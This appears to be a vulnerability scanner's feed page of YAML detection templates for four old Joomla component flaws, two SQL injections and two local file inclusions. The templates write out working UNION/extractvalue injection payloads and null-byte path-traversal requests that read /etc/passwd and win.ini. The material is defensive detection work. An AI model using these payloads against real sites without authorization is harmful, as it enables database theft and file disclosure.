# only probes show_video, and only the web root. This feed reads no table,
# works with any prefix, probes both published injection points (show_video and
# show_radio) through index.php and index2.php, in the /joomla and /mambo
# subdirectories too, and uses a database-computed proof.
#
# Verified against a reconstructed sink (PHP 8.3 + MariaDB 10.11, raw id vs
# intval(id)) as well as the Python mock.
#
# CVSS: CVE-2008-2633 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2009/gb_joomla_joomRadio_sqli_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100007, GPL-2.0-only).
uid: 53882f23-b70a-4639-9364-c7c40bce0760
name: "Joomla! JoomRadio component id SQL Injection (CVE-2008-2633)"
description: |
  Tests the JoomRadio component for Joomla! and Mambo for the unauthenticated
  SQL injection in the id parameter of its show_video and show_radio pages.
  In the web root and in the /joomla and /mambo directories, the feed requests
  both pages through index.php (and show_video through index2.php)
  with an id that ends the original query and appends a UNION SELECT asking the
  database to compute the product of two random numbers, framed by a NOCTIS
  marker, in every column. The marker with the correct product in the page
  confirms that the database ran the injected query; the product is not part
  of the request, so a page that only echoes the URL is not reported. The probe
  reads no table row and changes nothing.
cves: [CVE-2008-2633]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [joomla, mambo, joomradio, php, mysql, sqli, union, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2008-2633"
  - "https://www.exploit-db.com/exploits/5729"
  - "https://www.exploit-db.com/exploits/12400"
  # OpenVAS/Greenbone NASL 2009/gb_joomla_joomRadio_sqli_vuln.nasl (GPL-2.0-only)

steps:
  # Random operands; the expected marker is computed locally.
  - id: mint
    action: script
    code: '#{ a: rand_int(100000, 999999), b: rand_int(100000, 999999) }'
    store_as: m

  - id: mint-marker
    action: script
    code: '"NOCTIS" + (m.a * m.b) + "END"'
    store_as: marker

  - id: mint-column
    action: script
    code: '"CONCAT(0x4e4f43544953," + m.a + "*" + m.b + ",0x454e44)"'
    store_as: col

  # ── Loop group: every step below runs once per candidate URL ─────────────
  - id: init-resp
    action: set_var
    var_name: resp
    var_value: {status: 0, body: ""}
    loop:
      over:
        - "/index.php?option=com_joomradio&page=show_video"
        - "/index.php?option=com_joomradio&page=show_radio"
        - "/joomla/index.php?option=com_joomradio&page=show_video"
        - "/joomla/index.php?option=com_joomradio&page=show_radio"
        - "/mambo/index.php?option=com_joomradio&page=show_video"
        - "/mambo/index.php?option=com_joomradio&page=show_radio"
        - "/index2.php?option=com_joomradio&page=show_video"
      var: url

  - id: inject
    action: http_request
    method: GET
    path: "{{url}}&id=-1%20UNION%20SELECT%20{{col}},{{col}},{{col}},{{col}},{{col}},{{col}},{{col}}--%20-"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: resp

  - id: verdict
    action: script
    code: |
      if type_of(resp.body) == "string" && stridx(resp.body, marker) >= 0 { marker } else { "" }
    store_as: proof

  - id: report
    action: match
    source: proof
    pattern: "^NOCTIS[0-9]+END$"
    on_match:
      finding:
        title: "Joomla! JoomRadio component id SQL Injection (CVE-2008-2633)"
        description: "An unauthenticated request to the JoomRadio component with a UNION SELECT injected through the id parameter made the database compute the product of two random numbers, which came back in the page. Any query the database user may run can be injected the same way, including reading the Joomla! users table with its password hashes."
        remediation: "No fixed JoomRadio release is known. Uninstall the com_joomradio component, or patch it to cast the id parameter to an integer before building the query."
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{url}}&id=-1 UNION SELECT CONCAT(0x4e4f43544953,{{m.a}}*{{m.b}},0x454e44) (x7) returned the database-computed marker {{proof}}"
      stop: true

Joomla! YouTube Gallery component 'listid' SQL Injection

CVECVE-2014-4960
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/joomla/CVE-2014-4960.yaml

Tests the YouTube Gallery component for Joomla! (com_youtubegallery) for the unauthenticated SQL injection through the listid parameter of its gallery view. In the web root and in /joomla, the feed requests the gallery view with a listid value that makes the database raise an XPath error carrying the product of two random numbers. The correct product in the page, whether the error is printed raw or HTML-escaped, confirms that the database ran the injected expression; the product is not part of the request, so a page that only echoes the URL is not reported. On databases without the EXTRACTVALUE function, the feed instead reports a MySQL syntax error that quotes a random marker sent after a single quote, provided the same view with a plain numeric listid shows no SQL error. The probes read no table row and change nothing.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{dir}}/index.php?option=com_youtubegallery&view=youtubegallery&listid=1%20AND%20extr…
  4. Parses / computes the next value with a Rhai script
  5. Checks proof for ^XPATH syntax error: ~[0-9]+$ → finding QoD 97: Joomla! YouTube Gallery component 'listid' SQL Injection (CVE-2014-4960)
  6. HTTP(S) request GET {{dir}}/index.php?option=com_youtubegallery&view=youtubegallery&listid=1%27{{m.tag}}&…
  7. HTTP(S) request GET {{dir}}/index.php?option=com_youtubegallery&view=youtubegallery&listid=1&themeid=1
  8. Parses / computes the next value with a Rhai script
  9. Checks syn for ^SQL syntax error quoting Noctis[A-Za-z0-9]+$ → finding QoD 75: Joomla! YouTube Gallery component 'listid' SQL Injection (CVE-2014-4960)

References:

Feed source — tests/vulnerabilities/joomla/CVE-2014-4960.yaml
# Joomla! YouTube Gallery component (com_youtubegallery) 'listid' SQL injection — CVE-2014-4960
#
# YouTube Gallery <= 4.1.7 (joomlaboat) accepts any listid whose leading part
# is an integer (JRequest::getInt check in models/gallery.php), then pastes the
# RAW value into getVideoListTableRow():
#   ... WHERE #__youtubegallery_videolists.id=<listid>  LIMIT 1
# (numeric context, no quotes), and the same for themeid in getThemeTableRow().
# A failed query is printed: die($db->stderr()) on Joomla 1.5/2.5
# ("DB function failed ... <font color=red>MSG SQL=...</font>"), the 500 error
# page (htmlspecialchars'd message) on Joomla 3. Later releases cast both
# values with (int). Public PoC: EDB-34087 / 1337DAY-ID-22441.
#
# Detection (benign, read-only), for the web root and /joomla:
#   1. GET index.php?option=com_youtubegallery&view=youtubegallery
#        &listid=1 AND extractvalue(1,concat(0x7e,<a>*<b>))&themeid=1
#      The database raises "XPATH syntax error: '~<a×b>'". The product of two
#      random 6-digit operands is not in the request, so a page that only
#      echoes the URL cannot produce it. MySQL / MariaDB fold the constant, so
#      it errors even when the video list table is empty (checked on MariaDB
#      10.11 with the reconstructed query). QoD 97.
#   2. Fallback (MySQL < 5.1 has no EXTRACTVALUE): listid=1'<random marker>
#      must return a MySQL "SQL syntax" error quoting the marker, while the
#      control listid=1 answers without any SQL error (fail-closed). QoD 75.
#
# Improvements over the source NASL: a database-computed proof instead of a
# fixed marker echo (QoD 97), HTML-escaped error pages (Joomla 3) accepted,
# a random marker and an error-free control for the fallback, and a /joomla
# install directory.
#
# CVSS: CVE-2014-4960 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_joomla_youtube_gallery_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.804720, GPL-2.0-only).
uid: 1895e54f-a0e1-46c4-940e-7d9a9c42edfe
name: "Joomla! YouTube Gallery component 'listid' SQL Injection (CVE-2014-4960)"
description: |
  Tests the YouTube Gallery component for Joomla! (com_youtubegallery) for the
  unauthenticated SQL injection through the listid parameter of its gallery
  view. In the web root and in /joomla, the feed requests the gallery view with
  a listid value that makes the database raise an XPath error carrying the
  product of two random numbers. The correct product in the page, whether the
  error is printed raw or HTML-escaped, confirms that the database ran the
  injected expression; the product is not part of the request, so a page that
  only echoes the URL is not reported. On databases without the EXTRACTVALUE
  function, the feed instead reports a MySQL syntax error that quotes a random
  marker sent after a single quote, provided the same view with a plain numeric
  listid shows no SQL error. The probes read no table row and change nothing.
cves: [CVE-2014-4960]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [joomla, joomla-youtube-gallery, php, mysql, sqli, error-based, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-4960"
  - "https://www.exploit-db.com/exploits/34087"
  # OpenVAS/Greenbone NASL 2014/gb_joomla_youtube_gallery_sql_inj_vuln.nasl (GPL-2.0-only)

steps:
  # Random operands and marker; the expected proofs are computed locally.
  - id: mint
    action: script
    code: '#{ a: rand_int(100000, 999999), b: rand_int(100000, 999999), tag: "Noctis" + rand_str(10) }'
    store_as: m

  - id: mint-product
    action: script
    code: '"" + (m.a * m.b)'
    store_as: prod

  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  # ── Loop group: every step below runs once per candidate install dir ─────
  - id: init-xp-r
    action: set_var
    var_name: xp_r
    var_value: {status: 0, body: ""}
    loop:
      over: ["", "/joomla"]
      var: dir

  - id: init-mark-r
    action: set_var
    var_name: mark_r
    var_value: {status: 0, body: ""}

  - id: init-ctl-r
    action: set_var
    var_name: ctl_r
    var_value: {status: 0, body: ""}

  # listid=1 AND extractvalue(1,concat(0x7e,<a>*<b>))
  - id: inject-xpath
    action: http_request
    method: GET
    path: "{{dir}}/index.php?option=com_youtubegallery&view=youtubegallery&listid=1%20AND%20extractvalue(1,concat(0x7e,{{m.a}}*{{m.b}}))&themeid=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'proof == ""'
    store_as: xp_r

  # Joomla 3 shows the error HTML-escaped; accept the quote in any common
  # form, or none.
  - id: verdict-xpath
    action: script
    code: |
      if proof == "" && type_of(xp_r.body) == "string" && egrep("XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~" + prod + "(?:[^0-9]|$)", xp_r.body) != "" { "XPATH syntax error: ~" + prod } else { proof }
    store_as: proof

  - id: report-xpath
    action: match
    source: proof
    pattern: "^XPATH syntax error: ~[0-9]+$"
    on_match:
      finding:
        title: "Joomla! YouTube Gallery component 'listid' SQL Injection (CVE-2014-4960)"
        description: "An unauthenticated GET to the YouTube Gallery view with SQL appended to the listid parameter made the database compute the product of two random numbers, which came back in the page's database error. Any query the Joomla! database user may run can be injected the same way, including reading the administrator accounts and their password hashes."
        remediation: "Update the YouTube Gallery component to a release later than 4.1.7, which casts listid and themeid to integers, or remove the component. Turn off the display of database errors to visitors."
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{dir}}/index.php?option=com_youtubegallery&view=youtubegallery with an injected listid computing {{m.a}}*{{m.b}} returned the database-computed result: {{proof}}"
      stop: true

  # Fallback for MySQL < 5.1: syntax error quoting a random marker, with a
  # control request that shows no SQL error.
  - id: inject-marker
    action: http_request
    method: GET
    path: "{{dir}}/index.php?option=com_youtubegallery&view=youtubegallery&listid=1%27{{m.tag}}&themeid=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'proof == ""'
    store_as: mark_r

  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/index.php?option=com_youtubegallery&view=youtubegallery&listid=1&themeid=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'proof == "" && type_of(mark_r.body) == "string" && egrep("SQL syntax.{0,300}" + m.tag, mark_r.body) != ""'
    store_as: ctl_r

  - id: verdict-marker
    action: script
    code: |
      if proof == "" && type_of(mark_r.body) == "string" && egrep("SQL syntax.{0,300}" + m.tag, mark_r.body) != "" && ctl_r.status > 0 && type_of(ctl_r.body) == "string" && stridx(ctl_r.body, "SQL syntax") < 0 { "SQL syntax error quoting " + m.tag } else { "" }
    store_as: syn

  - id: report-syntax
    action: match
    source: syn
    pattern: "^SQL syntax error quoting Noctis[A-Za-z0-9]+$"
    on_match:
      finding:
        title: "Joomla! YouTube Gallery component 'listid' SQL Injection (CVE-2014-4960)"
        description: "An unauthenticated GET to the YouTube Gallery view with a single quote and a random marker in the listid parameter returned a MySQL syntax error quoting the marker, while the same view with a numeric listid showed no SQL error: the parameter is pasted into the query unescaped. Any query the Joomla! database user may run can be injected the same way."
        remediation: "Update the YouTube Gallery component to a release later than 4.1.7, which casts listid and themeid to integers, or remove the component. Turn off the display of database errors to visitors."
        confidence_delta: 0.50
        qod: 75
        evidence: "GET {{dir}}/index.php?option=com_youtubegallery&view=youtubegallery&listid=1'{{m.tag}} returned a MySQL syntax error quoting {{m.tag}}; the same view with listid=1 returned status {{ctl_r.status}} with no SQL error"
      stop: true

Joomla! ZiMB Comment component 'controller' Local File Inclusion

CVECVE-2010-1602
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, tcp_connect, match, script · highest QoD 75
Feedtests/vulnerabilities/joomla/CVE-2010-1602.yaml

Exploits the unauthenticated local file inclusion in the Joomla! ZiMB Comment component (com_zimbcomment <= 0.8.1): a `controller=../…/etc/passwd%00` request (or `windows/win.ini%00`) either returns the file's content, or — where PHP refuses the NUL byte — makes require_once fail with an error quoting the attacker-supplied include path. A file read is reported only when the same request for an absent file in a random missing directory gets an HTTP reply without that file's content, so a server that answers every path with the same file is not reported.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET {{joomla_dir}}/index.php?option=com_zimbcomment&controller=../../../../../../../../..…
  2. Checks zimb_passwd.banner for (?s)^HTTP/1\.[01] 200.*root:[^:\r\n]*:0:0:
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET {{joomla_dir}}/index.php?option=com_zimbcomment&controller=../../../../../../../../..…
  4. Checks zimb_winini.banner for (?si)^HTTP/1\.[01] 200.*; for 16-bit app support
  5. Raw TCP (TLS on HTTPS), sent verbatim: GET {{joomla_dir}}/index.php?option=com_zimbcomment&controller=../../../../../../../../..…
  6. Parses / computes the next value with a Rhai script
  7. Checks zimb_file for ^etc/passwd$ → finding QoD 75: Joomla! ZiMB Comment LFI — /etc/passwd read (CVE-2010-1602)
  8. Checks zimb_file for ^windows/win\.ini$ → finding QoD 75: Joomla! ZiMB Comment LFI — windows/win.ini read (CVE-2010-1602)
  9. Checks zimb_passwd.banner for Fatal error(?:</b>)?:\s+(?:require_once\(\)(?: \[[^\]\r\n]*\])?|Uncau… → finding QoD 75: Joomla! ZiMB Comment LFI — include path injected (CVE-2010-1602)
  10. Checks zimb_winini.banner for Fatal error(?:</b>)?:\s+(?:require_once\(\)(?: \[[^\]\r\n]*\])?|Uncau… → finding QoD 75: Joomla! ZiMB Comment LFI — include path injected (CVE-2010-1602)

References:

Feed source — tests/vulnerabilities/joomla/CVE-2010-1602.yaml
# Joomla! ZiMB Comment component — 'controller' local file inclusion (CVE-2010-1602)
#
# com_zimbcomment 0.8.1 passes the `controller` request parameter unfiltered into
#   require_once(JPATH_COMPONENT.DS.'controllers'.DS.$controller.'.php');
# so `controller=../../…/<file>%00` walks out of the component directory.
#
# Detection (per Joomla base path: `` and `/joomla`), strongest proof first:
#   1. File read (PHP < 5.3.4, NUL byte truncates the '.php' suffix): the response
#      carries the content of /etc/passwd (or windows/win.ini on Windows hosts).
#      Absent-file control (#2383): the same request is then sent for
#      ../…/noctis-absent-<random>/<file that was read>%00 and the read is reported
#      only when that control gets an HTTP reply without the file's signature
#      (fail closed), so a server answering every path with the same file is not
#      reported. → QoD 75, confidence 0.85.
#   2. Sink proof (PHP >= 5.3.4 refuses the NUL byte): display_errors prints the
#      require_once fatal error, and the include path it quotes contains OUR
#      traversal (`…/etc/passwd` / `…/windows/win.ini`), raised from
#      com_zimbcomment/zimbcomment.php — the request value reached the include
#      unfiltered. → QoD 75, confidence 0.75.
#
# Better than the source NASL, which only matched the fatal error and accepted
# any include path (`Failed opening required .*`): we (a) confirm a real file read
# when the host allows it, (b) require the quoted include path to carry our own
# payload, (c) accept the PHP 5.3+ docref-link and PHP 7/8 ("Uncaught Error")
# variants of the error, which the NASL's literal `require_once\(\): Failed`
# misses, and (d) also try the common `/joomla` install path.
#
# The payload carries %00, so the request is sent verbatim over HTTP/1.0 via
# tcp_connect and matched on resp.banner.
#
# Ported from OpenVAS/Greenbone NVT 2013/gb_joomla_zimbcomment_mult_vuln.nasl
# (GPL-2.0-only); traversal depth and files from that plugin / traversal_func.inc.
uid: 07918546-49db-4e38-aef2-4fad44ec8885
name: "Joomla! ZiMB Comment component 'controller' Local File Inclusion (CVE-2010-1602)"
description: |
  Exploits the unauthenticated local file inclusion in the Joomla! ZiMB Comment
  component (com_zimbcomment <= 0.8.1): a `controller=../…/etc/passwd%00` request
  (or `windows/win.ini%00`) either returns the file's content, or — where PHP
  refuses the NUL byte — makes require_once fail with an error quoting the
  attacker-supplied include path. A file read is reported only when the same
  request for an absent file in a random missing directory gets an HTTP reply
  without that file's content, so a server that answers every path with the
  same file is not reported.
cves: [CVE-2010-1602]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [openvas-migrated, joomla, joomla-zimbcomment, lfi, path-traversal, http]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-1602"
  - "https://www.exploit-db.com/exploits/12283"
  - "OpenVAS NASL 2013/gb_joomla_zimbcomment_mult_vuln.nasl (GPL-2.0-only)"

steps:
  # One iteration per Joomla base path. The loop step pre-initialises the stored
  # results so a failed connect never leaves them undefined.
  - id: init-passwd
    action: set_var
    var_name: zimb_passwd
    var_value: {connected: false, banner: ""}
    loop:
      over: ["", "/joomla"]
      var: joomla_dir

  - id: init-winini
    action: set_var
    var_name: zimb_winini
    var_value: {connected: false, banner: ""}

  - id: init-ctrl
    action: set_var
    var_name: zimb_ctrl
    var_value: {connected: false, banner: ""}

  - id: init-file
    action: set_var
    var_name: zimb_file
    var_value: ""

  - id: init-ctrl-clean
    action: set_var
    var_name: zimb_clean
    var_value: false

  - id: lfi-passwd
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{joomla_dir}}/index.php?option=com_zimbcomment&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: zimb_passwd

  # No finding here: the reply carries the file. Raised below once the
  # absent-file control is clean.
  - id: read-passwd
    action: match
    source: zimb_passwd.banner
    pattern: "(?s)^HTTP/1\\.[01] 200.*root:[^:\\r\\n]*:0:0:"
    on_match:
      set_vars:
        zimb_file: "etc/passwd"

  - id: lfi-winini
    action: tcp_connect
    port: "{{port}}"
    condition: 'zimb_file == ""'
    send: "GET {{joomla_dir}}/index.php?option=com_zimbcomment&controller=../../../../../../../../../../windows/win.ini%00 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: zimb_winini

  - id: read-winini
    action: match
    source: zimb_winini.banner
    pattern: "(?si)^HTTP/1\\.[01] 200.*; for 16-bit app support"
    condition: 'zimb_file == ""'
    on_match:
      set_vars:
        zimb_file: "windows/win.ini"

  # ── Control: same request, absent file ──
  # A random missing directory, still ending in the file that was read, so a
  # honeypot keyed on that file name answers it too.
  - id: lfi-control
    action: tcp_connect
    port: "{{port}}"
    condition: 'zimb_file != ""'
    send: "GET {{joomla_dir}}/index.php?option=com_zimbcomment&controller=../../../../../../../../../../noctis-absent-{{oob_token}}/{{zimb_file}}%00 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: zimb_ctrl

  # Fail closed: the control must have answered over HTTP, without the passwd
  # or win.ini signature.
  - id: lfi-control-verdict
    action: script
    condition: 'zimb_file != ""'
    code: |
      let b = zimb_ctrl.banner;
      type_of(b) == "string" && ereg("^HTTP/1\\.[01] [0-9]{3}", b) && !ereg("root:[^:\\r\\n]*:0:0:|; for 16-bit app support", b, true)
    store_as: zimb_clean

  - id: report-passwd
    action: match
    source: zimb_file
    pattern: "^etc/passwd$"
    condition: "zimb_clean == true"
    on_match:
      finding:
        title: "Joomla! ZiMB Comment LFI — /etc/passwd read (CVE-2010-1602)"
        description: "The `controller` parameter of com_zimbcomment was traversed to /etc/passwd with a NUL byte and the file's content came back in the page, while the same request for an absent file did not: unauthenticated arbitrary file read."
        remediation: "Remove the ZiMB Comment component or upgrade to a fixed release; run a PHP version that rejects NUL bytes in paths (>= 5.3.4)."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{joomla_dir}}/index.php?option=com_zimbcomment&controller=../(x10)etc/passwd%00 returned /etc/passwd (root:…:0:0: entry); the same request for an absent file did not"
      stop: true

  - id: report-winini
    action: match
    source: zimb_file
    pattern: "^windows/win\\.ini$"
    condition: "zimb_clean == true"
    on_match:
      finding:
        title: "Joomla! ZiMB Comment LFI — windows/win.ini read (CVE-2010-1602)"
        description: "The `controller` parameter of com_zimbcomment was traversed to windows/win.ini with a NUL byte and the file's content came back in the page, while the same request for an absent file did not: unauthenticated arbitrary file read."
        remediation: "Remove the ZiMB Comment component or upgrade to a fixed release; run a PHP version that rejects NUL bytes in paths (>= 5.3.4)."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{joomla_dir}}/index.php?option=com_zimbcomment&controller=../(x10)windows/win.ini%00 returned win.ini ('; for 16-bit app support'); the same request for an absent file did not"
      stop: true

  # Sink proof: require_once failed on OUR traversal path, inside zimbcomment.php.
  # PHP 5.2/5.3: "require_once() [<a href=…>…</a>]: Failed opening required '…' … in <b>…</b>"
  # PHP 7:       "require_once(): Failed opening required '…' … in <b>…</b>"
  # PHP 8:       "Uncaught Error: Failed opening required '…' … in /…/zimbcomment.php:23"
  - id: sink-passwd
    action: match
    source: zimb_passwd.banner
    pattern: "Fatal error(?:</b>)?:\\s+(?:require_once\\(\\)(?: \\[[^\\]\\r\\n]*\\])?|Uncaught Error): Failed opening required '[^'\\r\\n]*controllers[/\\\\]\\.\\./[^'\\r\\n]*etc/passwd'[^\\r\\n]*? in (?:<b>)?[^\\r\\n<']*com_zimbcomment[/\\\\]zimbcomment\\.php"
    on_match:
      finding:
        title: "Joomla! ZiMB Comment LFI — include path injected (CVE-2010-1602)"
        description: "The `controller` parameter of com_zimbcomment reached require_once() unfiltered: the PHP fatal error quotes the traversal path sent by the scanner. PHP refused the NUL byte so no file was read here, but any .php file on the host can be included."
        remediation: "Remove the ZiMB Comment component or upgrade to a fixed release, and disable display_errors in production."
        confidence_delta: 0.45
        qod: 75
        evidence: "GET {{joomla_dir}}/index.php?option=com_zimbcomment&controller=../(x10)etc/passwd%00 made require_once() fail on the injected path …/controllers/../…/etc/passwd in com_zimbcomment/zimbcomment.php"
      stop: true

  - id: sink-winini
    action: match
    source: zimb_winini.banner
    pattern: "Fatal error(?:</b>)?:\\s+(?:require_once\\(\\)(?: \\[[^\\]\\r\\n]*\\])?|Uncaught Error): Failed opening required '[^'\\r\\n]*controllers[/\\\\]\\.\\./[^'\\r\\n]*windows/win\\.ini'[^\\r\\n]*? in (?:<b>)?[^\\r\\n<']*com_zimbcomment[/\\\\]zimbcomment\\.php"
    on_match:
      finding:
        title: "Joomla! ZiMB Comment LFI — include path injected (CVE-2010-1602)"
        description: "The `controller` parameter of com_zimbcomment reached require_once() unfiltered: the PHP fatal error quotes the traversal path sent by the scanner. PHP refused the NUL byte so no file was read here, but any .php file on the host can be included."
        remediation: "Remove the ZiMB Comment component or upgrade to a fixed release, and disable display_errors in production."
        confidence_delta: 0.45
        qod: 75
        evidence: "GET {{joomla_dir}}/index.php?option=com_zimbcomment&controller=../(x10)windows/win.ini%00 made require_once() fail on the injected path …/controllers/../…/windows/win.ini in com_zimbcomment/zimbcomment.php"
      stop: true

Joomla! com_jimtawl Local File Inclusion

CVECVE-2010-4769
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, tcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/joomla/CVE-2010-4769.yaml

Tests the Joomla! com_jimtawl component for the unauthenticated local file inclusion in its `task` parameter. A `../`-sequence payload terminated by a null byte includes a world-readable system file (/etc/passwd or win.ini / boot.ini); the leaked file content, absent from a control request for a non-existent file, confirms the vulnerability (CVE-2010-4769).

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET {{target.dir}}/index.php?option=com_jimtawl&Itemid=12&task=../../../../../../../../..…
  2. Checks lfi_resp.banner for (root:.*:0:[01]:|\[boot loader\]|; for 16-bit app support)
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET {{target.dir}}/index.php?option=com_jimtawl&Itemid=12&task=../../../../../../../../..…
  4. Checks ctl_resp.banner does not match (root:.*:0:[01]:|\[boot loader\]|; for 16-bit app support) → finding QoD 75: Joomla! com_jimtawl Local File Inclusion (CVE-2010-4769)

References:

Feed source — tests/vulnerabilities/joomla/CVE-2010-4769.yaml
# Joomla! com_jimtawl 'task' Local File Inclusion — CVE-2010-4769
#
# com_jimtawl 1.0.2 passes the `task` request parameter straight into a PHP
# include() of its controller file. A `../` sequence walks out of the component
# directory and a trailing %00 truncates the appended ".php" (PHP < 5.3.4), so
# an unauthenticated attacker can include — and therefore read or execute —
# any local file readable by the web server.
#
# Detection follows the source NASL:
#   GET <dir>/index.php?option=com_jimtawl&Itemid=12&task=(../ × 15)<file>%00
# for each traversal_files() entry (etc/passwd, boot.ini, winnt/win.ini,
# windows/win.ini) and looks for that file's signature in the reply. The
# leaked system file is the benign real-exploitation proof (QoD 75, response
# analysis) — nothing is written on the target.
#
# Improvements over the NASL (gb_joomla_com_jimtawl_44992.nasl):
#   * Differential control. Before reporting, the same request is replayed
#     with the traversal pointed at a file that cannot exist. A finding is
#     raised only when the real file leaks AND the control does not carry the
#     signature — a page that always shows passwd-like text (tutorial, honeypot,
#     WAF block page quoting the request) is no longer a false positive. The
#     NASL reports on the single pattern match.
#   * No product-detection dependency. The NASL only runs on the directory a
#     separate Joomla detection NVT found; this feed tries the web root and the
#     common /joomla install directory itself.
#
# The payload carries `../` and `%00`, so the request is sent verbatim over
# HTTP/1.0 via tcp_connect (reqwest would normalise the path) and matched on
# resp.banner.
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_joomla_com_jimtawl_44992.nasl
# (GPL-2.0-only). Request path, traversal depth and file signatures taken from
# that plugin and traversal_func.inc.
uid: 6d8a1ccd-c0a8-4e4b-b1eb-191fb66475b0
name: "Joomla! com_jimtawl Local File Inclusion (CVE-2010-4769)"
description: |
  Tests the Joomla! com_jimtawl component for the unauthenticated local file
  inclusion in its `task` parameter. A `../`-sequence payload terminated by a
  null byte includes a world-readable system file (/etc/passwd or win.ini /
  boot.ini); the leaked file content, absent from a control request for a
  non-existent file, confirms the vulnerability (CVE-2010-4769).
cves: [CVE-2010-4769]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [joomla, joomla-component, com_jimtawl, lfi, path-traversal, file-read, openvas-migrated, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-4769"
  - "http://www.securityfocus.com/bid/44992"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2010/CVE-2010-4769.yaml"
  # OpenVAS/Greenbone NASL 2010/gb_joomla_com_jimtawl_44992.nasl (GPL-2.0-only)

steps:
  # ── Per (install dir × traversal file) iteration ─────────────────────────
  # The loop group is every step down to the final match; a `stop: true`
  # finding ends it. Each iteration first resets its own state, so a hit whose
  # control failed in one iteration cannot leak into the next one.
  - id: reset-hit
    action: set_var
    var_name: lfi_hit
    var_value: false
    loop:
      over:
        - {dir: "", file: "etc/passwd"}
        - {dir: "", file: "windows/win.ini"}
        - {dir: "", file: "winnt/win.ini"}
        - {dir: "", file: "boot.ini"}
        - {dir: "/joomla", file: "etc/passwd"}
        - {dir: "/joomla", file: "windows/win.ini"}
        - {dir: "/joomla", file: "winnt/win.ini"}
        - {dir: "/joomla", file: "boot.ini"}
      var: target

  - id: reset-lfi-resp
    action: set_var
    var_name: lfi_resp
    var_value: {connected: false, banner: ""}

  - id: reset-ctl-resp
    action: set_var
    var_name: ctl_resp
    var_value: {connected: false, banner: ""}

  # Exploit: crap(data:"../", length:45) + file + %00, verbatim as the NASL.
  - id: lfi-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{target.dir}}/index.php?option=com_jimtawl&Itemid=12&task=../../../../../../../../../../../../../../../{{target.file}}%00 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: lfi_resp

  # traversal_files() signatures: passwd → root:.*:0:[01]:, boot.ini →
  # [boot loader], win.ini → "; for 16-bit app support".
  - id: lfi-signature
    action: match
    source: lfi_resp.banner
    pattern: "(root:.*:0:[01]:|\\[boot loader\\]|; for 16-bit app support)"
    on_match:
      set_vars:
        lfi_hit: true

  # Control: same request, traversal aimed at a file that cannot exist.
  - id: control-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{target.dir}}/index.php?option=com_jimtawl&Itemid=12&task=../../../../../../../../../../../../../../../noctis-nonexistent-4769.ini%00 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: ctl_resp
    condition: "lfi_hit == true"

  # Report only when the control reply does NOT carry the signature.
  - id: lfi-confirm
    action: match
    source: ctl_resp.banner
    pattern: "(root:.*:0:[01]:|\\[boot loader\\]|; for 16-bit app support)"
    negate: true
    condition: "lfi_hit == true && ctl_resp.connected == true"
    on_match:
      finding:
        title: "Joomla! com_jimtawl Local File Inclusion (CVE-2010-4769)"
        description: "The com_jimtawl `task` parameter included a local system file through a ../-sequence and null-byte payload, while a control request for a non-existent file did not return that content — confirming the unauthenticated local file inclusion in Joomla! com_jimtawl 1.0.2 (CVE-2010-4769). The same flaw lets an attacker execute local PHP files."
        remediation: "Remove the com_jimtawl component (no fixed release is known), or restrict `task` to known controller names; run PHP >= 5.3.4 so null bytes no longer truncate include paths."
        confidence_delta: 0.55
        qod: 75
